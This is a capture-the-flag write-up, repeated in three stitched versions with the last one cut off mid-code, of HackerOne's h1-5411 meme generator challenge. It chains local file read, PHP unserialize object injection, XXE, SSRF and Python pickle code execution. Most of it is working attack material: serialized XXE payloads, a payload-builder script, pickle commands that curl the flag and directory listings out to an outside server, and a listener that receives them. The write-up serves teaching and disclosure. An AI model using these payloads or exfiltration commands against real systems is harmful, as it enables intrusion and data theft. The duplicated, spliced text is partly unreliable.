H1-5411 CTF Write-up by erbbysam and ziot
The meme generator had a local file read vulnerability in the template parameter, which allowed reading source code and discovering an unserialize endpoint and an XXE flaw. By chaining these, an attacker could achieve remote code execution via a Python pickle deserialization on an internal maintenance service.
- Triaged in 25 hours
- Fixed in 25 hours
- Disclosed after 26 days
@erbbysam and I recently set out to beat the latest CTF challenge hosted by HackerOne. Here is a write-up with the process we took from start to finish.
The h1-5411 CTF begins with a tweet from HackerOne:

This leads to a website called the HackerOne Meme Generator:
The website allows you to select a meme template, top text, and bottom text. This generates a meme saved to your session that is either an image or txt file.

Generating a Meme
The POST request looks like the following:
POST /api/generate.php HTTP/1.1
Host: h1-5411.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://h1-5411.h1ctf.com/generate.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs
Connection: close
template=template4.txt&type=text&top-text=test&bottom-text=test
The template parameter sets a filename to use as part of the meme generation process.

As you may guess, the template variable is vulnerable to Local-File Read (LFR). As long as you set it to a txt template, you can specify any arbitrary file on the system and fetch its’ file contents. Here’s an example of fetching PHP source code:

Here you can see the source code when viewing your saved memes:

After enumerating from index.php to all the files inside of each file include(), we eventually have the source code for the entire application. The next step is to figure out what other vulnerabilities exist in the app.
In the /includes/classes.php file the first thing that stands out is that they are intentionally disabling XXE protection.

That means the DOMDocument->loadXML() is vulnerable to external entities/DTDs and would allow us to execute malicious XXE payloads. The question from here is, how do we set ConfigFile class’s config_raw variable.
From the /includes/header.php file, there are two interesting files that you cannot discover without the LFR vulnerability.
- /import_memes_2.0.php
- /export_memes_2.0.php
Each one sends a POST request to files of the same name in the /api/ directory.
/api/import_memes_2.0.php
<?php
require_once("../includes/config.php");
if (isset($_FILES['f'])) {
$new_memes = unserialize(base64_decode(
file_get_contents($_FILES['f']['tmp_name'])));
$_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
}
header("Location: /memes.php");
?>
/api/export_memes_2.0.php
<?php
require_once("../includes/config.php");
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
echo base64_encode(serialize($_SESSION['memes']));
?>
With the import API script, we are able to specify input into unserialize() with file upload POST requests. The uploaded unserialized data gets merged into $_SESSION[“memes”] where all of your memes are saved.
Now that we knew we could create PHP objects via unserialize (object injection) and knowing that there is an XXE in the ConfigFile class, we had to figure out how to put it all together.
The ConfigClass has a magic method function __toString() that will get called any time the class is initialized and treated as a string. That usually means whenever the variable that has the class assigned to is echo, print, print_r, etc.
function __toString() {
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
We’ll talk about how that gets triggered after further explaining the attack. Following the __toString() execution chain, we see that it immediately calls the parse() function.
function parse() {
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
This is promising because $this->config_raw gets passed into the vulnerable loadXML() function call and does not get overwritten with anything static. That means if we create an object that gets unserialized, we can specify the config_raw variable and it will execute our XXE payload. We setup a test script by ripping out all the code involved in this attack chain in order to test it locally with warnings enabled. Their server is not displaying any PHP errors or warnings meaning we’re completely blind to any potential roadblocks that we run into.
Here is a gist of the test code we were playing with:
Using the script above, we ran base64_encode(serialize()) functions on top of the newly created class after specifying our XXE payload inside of config_raw.
Example:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "https://xss.buer.haus/ev.xml">%sp;%param1;]><r>&exfil;</r>';
echo base64_encode(serialize($test));
The next step was uploading it using the import_memes script:

No dice. We run into a warning saying we cannot array_merge an array and an object. It makes sense, looking back on the code in /includes/config.php we can see that $_SESSION[“memes”] is an array() and gets strings stored in it.
// Start/Resume session
session_start();
// Setup session
if (!isset($_SESSION['memes'])) {
$_SESSION['memes'] = array();
}
So in order for our object to get stored into the $_SESSION[“memes”], we have to wrap the serialized object in an array. That complicates things because the only way we found to exploit the toString() method was that the $_SESSION[“memes”] was echo’d on the export script. That means we needed to find a new way for it to execute the toString magic method.
Lucky for us, we discovered this in the generate.php file.
foreach($_SESSION['memes'] as $meme) {
?>
<iframe width="100%" height="450" frameborder="0"
src="<?php echo htmlentities($meme); ?>"></iframe>
<?php
}
}
?>
As you can see in the code, it loops through all the items in the $_SESSION[“meme”] array and displays them via echo. When it hits our object stored in the array, it’ll trigger toString() and thus eventually execute our XXE payload.
Here is an example of loading file:///etc/passwd using the XXE payload:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0"?><!DOCTYPE root[<!ENTITY foo SYSTEM "file:///etc/passwd">]><test><toptext>dddrrr &foo;</toptext></test>';
echo base64_encode(serialize(array($test)));

Boom! We confirmed that we finally got XXE working.
So what do we do next? Well, we already have local-file read, so it probably has nothing to do with that. We remembered that we saw a mention of localhost in one of the files. XXE gives us the ability to perform Server-Side Request Forgery and due to the XML being rendered back to the user, it was not blind either. This gives us the ability to fetch and view internal websites or services.
This was a comment in /includes/classes.php
/* Maintenance service: internal service on localhost, still under development!!
class Maintenance {
function __construct() {
//TODO
}
}
*/
We started to try various http:// calls to localhost but we were not having any luck. Eventually we guessed it may be on a random port and our first guess was correct! We got a response from querying http://localhost:1337. The maintenance service was on the port 1337.
The non-blind XXE payload was critical for discovering the 1337 port and functionality:
<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/">
]><test><toptext> &foo;</toptext></test>
And this would return:
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:
/status - View maintenance status;
/update-status Change maintenance status;
Debug: The debug parameter allows debugging;
Oh no, more challenges to solve.
Accessing /status?debug=1 printed:
Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=
Base64 decoding the string we immediately recognized that it was Python pickle. This is essentially Python's version of serialization and has similar object injection vulnerabilities. However, Python pickle generally just leads immediately to Remote Code Execution.
(iapp
Status
p1
(dp2
S'message'
p3
S'Maintenance mode: off'
p4
sS'maintenance'
p5
I00
Sb.
Therefore, we should try and update the status with a “malicious” pickle!
Sending through a valid formed pickle to /update-status?status=<base64 pickle>&debug=1 resulted in the message:
A new status has been loaded. Automatic reloading not implemented yet!
There was no impact to the /status page unfortunately (a malformed pickle would show error output), this means we have to work blind, lucily this “malicious” pickle payload generator worked! So our strategy going forward was to use this with curl commands: https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
Ran as:
# python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com'
Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==
Add to php payload:
$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1">
]><test><toptext> &foo;</toptext></test>';
New mypack file to upload:
YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czozMTA6Ijw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIHJvb3QNClsNCjwhRU5USVRZIGZvbyBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9aHR0cDovL2xvY2FsaG9zdDoxMzM3L3VwZGF0ZS1zdGF0dXM/c3RhdHVzPVkzQnZjMmw0Q25ONWMzUmxiUXB3TVFvb1V5ZGpkWEpzSUMxWUlGQlBVMVFnTFdRZ0lud2tLR05oZENCbWJHRm5MblI0ZENsOElpQnRlWE5sY25abGNpNWpiMjBuQ25BeUNuUlNjRE1LTGc9PSZkZWJ1Zz0xIj4NCl0+PHRlc3Q+PHRvcHRleHQ+ICZmb287PC90b3B0ZXh0PjwvdGVzdD4iO319
When memes.php is visited again, simply get the POST response with a simple tornado listener:
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def post(self):
print self.request.body
def make_app():
return tornado.web.Application([
(r"/.*", MainHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(80)
tornado.ioloop.IOLoop.current().start()
Using this method to look at the file system (“python pickle.py 'curl -X POST -d "|$(ls -lath)|" myserver.com”) yields:
total 36K
drwxr-xr-x 1 root root 4.0K Sep 26 16:20 ..
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 .
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static
-rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py
-rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc
-rw-r--r-- 1 maintenance maintenance 150 Sep 23 19:07 flag.txt
-rw-r--r-- 1 maintenance maintenance 14 Sep 18 17:50 requirements.txt
-rw-r--r-- 1 maintenance maintenance 89 Sep 18 17:50 status.pickle
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates
Using this method to look at flag.txt (“python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com”) shows the flag:
Yay! Here is your flag:
flag{cha1n1ng_bugs_f0r_fun_4nd_pr0f1t?_or_rep0rt_an_LF1}
Go to https://hackerone.com/h1-5411-ctf and submit your writeup!
PHP code used to generate payload (this works on http://sandbox.onlinephpfunctions.com/):
<?php
$qqq= array("test", "abc");
class ConfigFile {
function __construct($url) {
$this->config_raw = $url;//file_get_contents($url);
}
function parse() {
echo '<p>DEBUG: parse() hit (current config_raw = '.htmlspecialchars($this->config_raw).' )</p>';
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function generate() {
$this->parse();
$meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";
if ($this->type == IMAGE) {
if (@is_array(getimagesize($this->path))) {
$meme_path = MEMES_FOLDER . $filename . ".jpg";
$args = array(
"top_text" => $top_text,
"bottom_text" => $bottom_text,
"filename" => $meme_path,
"font" => FONT_BASE,
"memebase" => $this->path,
"textsize" => 40,
"textfit" => true,
"padding" => 10,
);
memegen_build_image($args);
}
}
if ($this->type == TEXT) {
if (!@is_array(getimagesize($this->path))) {
$contents = file_get_contents($this->path);
$meme = " " . strtoupper($top_text) . "\n\n" . $contents . "\n " . strtoupper($bottom_text);
$meme_path = MEMES_FOLDER . $filename . ".txt";
file_put_contents($meme_path, $meme);
}
}
return $meme_path;
}
function __toString() {
echo '<p>DEBUG: toString() hit</p>';
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1">
]><test><toptext> &foo;</toptext></test>';
$serialized = base64_encode(serialize(array($test)));
// test to make sure array_merge still works
$new_memes = unserialize(base64_decode($serialized));
$qqq = array_merge($qqq, $new_memes);
// print it
echo $serialized;
?>
Impact
Content injection
Context
The h1-5411 CTF was a challenge hosted by HackerOne, announced through a tweet from the Hacker0x01 account. The entry point was a site called the HackerOne Meme Generator at https://h1-5411.h1ctf.com/. The site lets a visitor pick a meme template, enter top text and bottom text, and generates a meme that is saved to the visitor's session, either as an image or as a txt file.


This write-up follows the path that @erbbysam and ziot took from the first request to the flag.
Setup
No accounts or special roles were needed: the application keeps state in a PHP session, identified by a PHPSESSID cookie. A local PHP test script was used to reproduce the vulnerable classes with warnings enabled, because the live server displayed no PHP errors or warnings. A small HTTP listener was later used to receive out-of-band requests.
Finding it
Generating a meme sends a POST request to /api/generate.php:
POST /api/generate.php HTTP/1.1
Host: h1-5411.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://h1-5411.h1ctf.com/generate.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: PHPSESSID=[redacted]
Connection: close
template=template4.txt&type=text&top-text=test&bottom-text=test
The template parameter sets a filename that is used as part of the meme generation process.

That parameter turned out to be vulnerable to local file read: as long as it is set to a txt template, any arbitrary file on the system can be specified and its contents fetched. Fetching PHP source code worked:

The source code is visible when viewing the saved memes:

By enumerating from index.php through every file inside each include(), the researchers eventually had the source code of the entire application. The next step was to look for other vulnerabilities in it.
Exploitation
Step 1: XXE protection disabled in classes.php
In /includes/classes.php the first thing that stood out was that XXE protection is intentionally disabled.

That means DOMDocument->loadXML() is vulnerable to external entities and DTDs, so malicious XXE payloads can be executed. The open question was how to set the config_raw variable of the ConfigFile class.
Step 2: hidden import and export endpoints
In /includes/header.php there are two interesting files that cannot be discovered without the local file read:
/import_memes_2.0.php/export_memes_2.0.php
Each one sends a POST request to a file of the same name in the /api/ directory.
/api/import_memes_2.0.php:
<?php
require_once("../includes/config.php");
if (isset($_FILES['f'])) {
$new_memes = unserialize(base64_decode(
file_get_contents($_FILES['f']['tmp_name'])));
$_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
}
header("Location: /memes.php");
?>
/api/export_memes_2.0.php:
<?php
require_once("../includes/config.php");
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
echo base64_encode(serialize($_SESSION['memes']));
?>
The import script lets an attacker supply input to unserialize() through a file upload POST request. The unserialized data is merged into $_SESSION["memes"], where all of the user's memes are saved. So PHP objects can be created through unserialize (object injection), and there is an XXE in the ConfigFile class; the remaining problem was how to put the two together.
Step 3: the __toString() and parse() chain
ConfigFile has a magic method __toString() that is called any time the class is treated as a string, which usually means whenever the variable holding the class is used with echo, print, print_r and similar:
function __toString() {
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
Following the __toString() execution chain, it immediately calls parse():
function parse() {
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
This is promising: $this->config_raw is passed into the vulnerable loadXML() call and is not overwritten with anything static. An object created through unserialize can therefore set config_raw and have the XXE payload executed.
To test the chain, the relevant code was extracted into a local script run with warnings enabled, since the server shows no PHP errors or warnings and the researchers were blind to any roadblocks. The test code is in a gist:
https://gist.githubusercontent.com/ziot/[redacted]/raw/[redacted]/gistfile1.txt
With that script, base64_encode(serialize()) was run on the newly created class after setting the XXE payload inside config_raw:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "https://xss.buer.haus/ev.xml">%sp;%param1;]><r>&exfil;</r>';
echo base64_encode(serialize($test));
Step 4: the array_merge obstacle
The next step was uploading the result through the import script at https://h1-5411.h1ctf.com/import_memes_2.0.php.

No dice: a warning said an array and an object cannot be merged with array_merge. Looking back at /includes/config.php, $_SESSION["memes"] is an array() holding strings:
// Start/Resume session
session_start();
// Setup session
if (!isset($_SESSION['memes'])) {
$_SESSION['memes'] = array();
}
For the object to be stored in $_SESSION["memes"], the serialised object has to be wrapped in an array. That complicates things, because the only way found so far to reach __toString() was the export script echoing $_SESSION["memes"]. A new trigger was needed.
Step 5: a new toString() trigger in generate.php
generate.php provided it:
foreach($_SESSION['memes'] as $meme) {
?>
<iframe width="100%" height="450" frameborder="0"
src="<?php echo htmlentities($meme); ?>"></iframe>
<?php
}
}
?>
The code loops through every item in the $_SESSION["memes"] array and echoes it. When it reaches the object stored in the array, __toString() is triggered and the XXE payload executes.
Loading file:///etc/passwd with the XXE payload:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0"?><!DOCTYPE root[<!ENTITY foo SYSTEM "file:///etc/passwd">]><test><toptext>dddrrr &foo;</toptext></test>';
echo base64_encode(serialize(array($test)));

XXE was working.
Step 6: finding the internal maintenance service
Local file read was already available, so the next target was something else. A mention of localhost had been seen in one of the files. XXE allows server-side request forgery, and because the XML is rendered back to the user it is not blind: internal websites and services can be fetched and viewed.
This comment was in /includes/classes.php:
/* Maintenance service: internal service on localhost, still under development!!
class Maintenance {
function __construct() {
//TODO
}
}
*/
Various http:// calls to localhost did not work. The guess that the service was on a random port was right on the first try: querying http://localhost:1337 returned a response. The maintenance service was on port 1337.
The non-blind XXE payload used to discover the port and its functionality:
<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/">
]><test><toptext> &foo;</toptext></test>
It returned:
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:
/status - View maintenance status;
/update-status Change maintenance status;
Debug: The debug parameter allows debugging;
Step 7: pickle injection in the maintenance API
Accessing /status?debug=1 printed:
Maintenance mode: off | Debug: [redacted]=
Base64 decoding the string showed Python pickle:
(iapp
Status
p1
(dp2
S'message'
p3
S'Maintenance mode: off'
p4
sS'maintenance'
p5
I00
Sb.
Pickle is Python's serialisation format and has similar object injection vulnerabilities; in general it leads immediately to remote code execution. The plan was therefore to update the status with a malicious pickle.
Sending a valid pickle to /update-status?status=<base64 pickle>&debug=1 returned:
A new status has been loaded. Automatic reloading not implemented yet!
The /status page showed no impact, although a malformed pickle would show error output, so the work had to be done blind. A malicious pickle payload generator worked for this:
https://gist.github.com/mgeeky/[redacted]
It was run as:
# python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com'
[redacted]==
Step 8: chaining the pickle through the XXE
The generated pickle was added to the PHP payload:
$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=[redacted]==&debug=1">
]><test><toptext> &foo;</toptext></test>';
The new mypack file to upload:
[redacted]/eG1sIHZlcnNpb249IjEuMCI/[redacted]/[redacted]+PHRlc3Q+PHRvcHRleHQ+[redacted]
When memes.php is visited again, the POST response is received with a simple tornado listener:
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def post(self):
print self.request.body
def make_app():
return tornado.web.Application([
(r"/.*", MainHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(80)
tornado.ioloop.IOLoop.current().start()
Step 9: reading the filesystem and the flag
Using the same method to list the file system (python pickle.py 'curl -X POST -d "|$(ls -lath)|" myserver.com') returned:
total 36K
drwxr-xr-x 1 root root 4.0K Sep 26 16:20 ..
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 .
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static
-rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py
-rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc
-rw-r--r-- 1 maintenance maintenance 150 Sep 23 19:07 flag.txt
-rw-r--r-- 1 maintenance maintenance 14 Sep 18 17:50 requirements.txt
-rw-r--r-- 1 maintenance maintenance 89 Sep 18 17:50 status.pickle
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates
Reading flag.txt (python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com') showed the flag:
Yay! Here is your flag:
flag{[redacted]?_or_rep0rt_an_LF1}
Go to https://hackerone.com/h1-5411-ctf and submit your writeup!
The PHP code used to generate the payload (it works on http://sandbox.onlinephpfunctions.com/):
<?php
$qqq= array("test", "abc");
class ConfigFile {
function __construct($url) {
$this->config_raw = $url;//file_get_contents($url);
}
function parse() {
echo '<p>DEBUG: parse() hit (current config_raw = '.htmlspecialchars($this->config_raw).' )</p>';
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function generate() {
$this->parse();
$meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";
if ($this->type == IMAGE) {
if (@is_array(getimagesize($this->path))) {
$meme_path = MEMES_FOLDER . $filename . ".jpg";
$args = array(
"top_text" => $top_text,
"bottom_text" => $bottom_text,
"filename" => $meme_path,
"font" => FONT_BASE,
"memebase" => $this->path,
"textsize" => 40,
"textfit" => true,
"padding" => 10,
);
memegen_build_image($args);
}
}
if ($this->type == TEXT) {
if (!@is_array(getimagesize($this->path))) {
$contents = file_get_contents($this->path);
$meme = " " . strtoupper($top_text) . "\n\n" . $contents . "\n " . strtoupper($bottom_text);
$meme_path = MEMES_FOLDER . $filename . ".txt";
file_put_contents($meme_path, $meme);
}
}
return $meme_path;
}
function __toString() {
echo '<p>DEBUG: toString() hit</p>';
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=[redacted]==&debug=1">
]><test><toptext> &foo;</toptext></test>';
$serialized = base64_encode(serialize(array($test)));
// test to make sure array_merge still works
$new_memes = unserialize(base64_decode($serialized));
$qqq = array_merge($qqq, $new_memes);
// print it
echo $serialized;
?>
Root cause
The chain combines several separate mistakes:
- The
templateparameter of/api/generate.phpis used as a filename without restriction, giving local file read and exposing the application source. /api/import_memes_2.0.phpcallsunserialize()on attacker-supplied, base64-decoded upload content, allowing PHP object injection.ConfigFile::parse()callsDOMDocument->loadXML()withLIBXML_NOENT | LIBXML_DTDLOAD, which enables external entity and DTD loading, so aconfig_rawvalue set through object injection becomes an XXE.generate.phpechoes each session meme inside an iframesrc, which triggers__toString()on the injected object and runs the XXE. Thehtmlentities()call does not prevent this, because the trigger happens when the object is converted to a string, before escaping.- The internal maintenance service on
localhost:1337accepts a base64 pickle through/update-status, and a malicious pickle payload generator produced command execution. The XXE is non-blind, so the service could be discovered and driven through the same channel.
Impact
The report lists the impact as content injection. The chain gave local file read, server-side request forgery against internal services, and, through the pickle endpoint, command execution that was enough to read flag.txt. The conditions are the ones above: the import endpoint must be reachable, the application must unserialize the uploaded data, and the internal service must be listening and accept the pickle.
Fix
No fix is described in the report. The changes that would break the chain are: validating the template parameter against an allowlist of template files, removing unserialize() of user uploads in favour of a safe format, and loading XML without LIBXML_NOENT and LIBXML_DTDLOAD. On the maintenance service, pickle should not be used for data received over HTTP.
Variants to test
- On any meme or template generator, change the template parameter to a path such as
../../etc/passwdor a PHP file and see whether its contents appear in the generated output. - Look for import or export endpoints in included files that are not linked in the UI, and check whether their upload handlers call
unserialize()on the file contents. - Search the source for
loadXML,LIBXML_NOENTandLIBXML_DTDLOAD; a positive result is an entity that resolves to a local file or an internal URL and is reflected back. - Look for places where session data is echoed, such as iframe
srcattributes, to find a__toString()trigger for an injected object. - Probe
localhoston common and unusual ports through XXE, and check whether the response body is returned; a service banner or API documentation page confirms a non-blind SSRF. - Where a debug parameter returns base64 data, decode it and check for pickle or other serialisation formats; a positive result is a payload that executes a command and sends its output to a listener you control.
What happened, in plain words
HackerOne ran a capture-the-flag contest (CTF) called h1-5411. A CTF is a puzzle: a website is built with deliberate mistakes in it, and your job is to find the mistakes and use them to reach a hidden prize called a flag. The flag is usually a short piece of text that proves you solved the challenge.
The contest was announced with a tweet from the Hacker0x01 account, and the tweet pointed at a website called the HackerOne Meme Generator at https://h1-5411.h1ctf.com/. A meme generator is a toy: you pick a picture template, type some text for the top and some for the bottom, and the site produces a picture with your words on it. This one saved each meme to your session, either as an image or as a plain text file.


Two researchers, @erbbysam and ziot, worked through it together. This is the story of how they got from the first request to the flag, step by step, with the same requests and payloads they used.
Setup
Nothing special was needed to start. The site keeps track of who you are with a PHP session. A session is a small note the server keeps about you while you browse, and it recognises you by a cookie, which is a tiny piece of text your browser stores and sends back with every request. The cookie here is called PHPSESSID. Think of it like a cloakroom ticket: the server holds your coat (your memes) and the ticket number tells it which coat is yours.
The work was done with a browser, and the researchers also wrote a small PHP script on their own machine to reproduce the vulnerable code with warnings turned on. The researchers also wrote a small PHP script on their own machine to reproduce the vulnerable code with warnings turned on, because the live server showed no PHP errors or warnings at all. Later they ran a small HTTP listener, which is a program that sits and waits for incoming requests and prints them, so they could receive data sent out by the server.
Finding it
When you generate a meme, your browser sends a POST request to /api/generate.php. An API is simply a set of addresses on a server that programs talk to, rather than pages meant for people. A POST request is one that sends data to the server, as opposed to a GET request that just asks for a page. Here is the request:
POST /api/generate.php HTTP/1.1
Host: h1-5411.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://h1-5411.h1ctf.com/generate.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: PHPSESSID=[redacted]
Connection: close
template=template4.txt&type=text&top-text=test&bottom-text=test
Line by line:
POST /api/generate.php HTTP/1.1says "I am sending data to this address, using version 1.1 of the web protocol".Hostnames the website the request is for.User-Agentsays which browser is asking; here it claims to be Firefox 62 on Windows.Accept,Accept-LanguageandAccept-Encodingtell the server what kinds of content and compression the browser can handle.Referersays which page the request came from.Content-Type: application/x-www-form-urlencodedsays the data is sent in the simplename=value&name=valueform you often see in URLs.X-Requested-With: XMLHttpRequestmarks the request as one made by JavaScript in the page rather than by typing an address.Content-Lengthis the size of the data in bytes.Cookiecarries the session ticket, which identifies the visitor.Connection: closeasks the server to close the connection after replying.- The blank line separates the headers from the body.
- The body is
template=template4.txt&type=text&top-text=test&bottom-text=test: the chosen template file, the output type (text), and the two lines of text.
The template parameter sets a filename that is used as part of the meme generation process.

That parameter turned out to be vulnerable to local file read. Local file read means the server can be tricked into opening a file on its own disk and showing you the contents, files you were never meant to see. As long as the parameter is set to a txt template, any file on the system can be named and its contents fetched. Fetching PHP source code worked:

Source code is the human-written instructions of the program. Seeing it is like finding the architect's plans for a building: you learn where every door and window is. The source code was visible when viewing the saved memes:

By enumerating from index.php through every file inside each include(), the researchers eventually had the source code of the entire application. Enumerating means trying one name after another in a list. include() is a PHP instruction that pulls one file into another, so following those links leads to every file the app uses. The next step was to look for other vulnerabilities in that code. A vulnerability is a mistake that lets someone make the program do something it was not designed to do.
Exploitation
Step 1: XXE protection disabled in classes.php
In /includes/classes.php the first thing that stood out was that XXE protection is intentionally disabled.

XXE stands for XML External Entity. XML is a text format for structured data, built from tags in angle brackets, a bit like a form with labelled boxes. XML has a feature called entities: a short name that stands for something else, so you can write &foo; and have it replaced by a value. An external entity is one whose value is fetched from somewhere else, such as a file or a web address. XXE is the attack where you make the server fetch something through such an entity and hand it back to you.
That means DOMDocument->loadXML() is vulnerable to external entities and DTDs, so malicious XXE payloads can be executed. DOMDocument is PHP's built-in XML reader and loadXML() is the call that parses a piece of XML text. A DTD is a block at the top of an XML document that declares those entities. The open question was how to set the config_raw variable of the ConfigFile class. A class is a blueprint in code, and a variable is a named box that holds a value; config_raw is the box that holds the XML text the class will parse.
Step 2: hidden import and export endpoints
In /includes/header.php there are two interesting files that cannot be discovered without the local file read:
/import_memes_2.0.php/export_memes_2.0.php
An endpoint is a specific address on a server that does a specific job. These two are not linked anywhere in the visible pages, so only reading the source reveals them. Each one sends a POST request to a file of the same name in the /api/ directory.
/api/import_memes_2.0.php:
<?php
require_once("../includes/config.php");
if (isset($_FILES['f'])) {
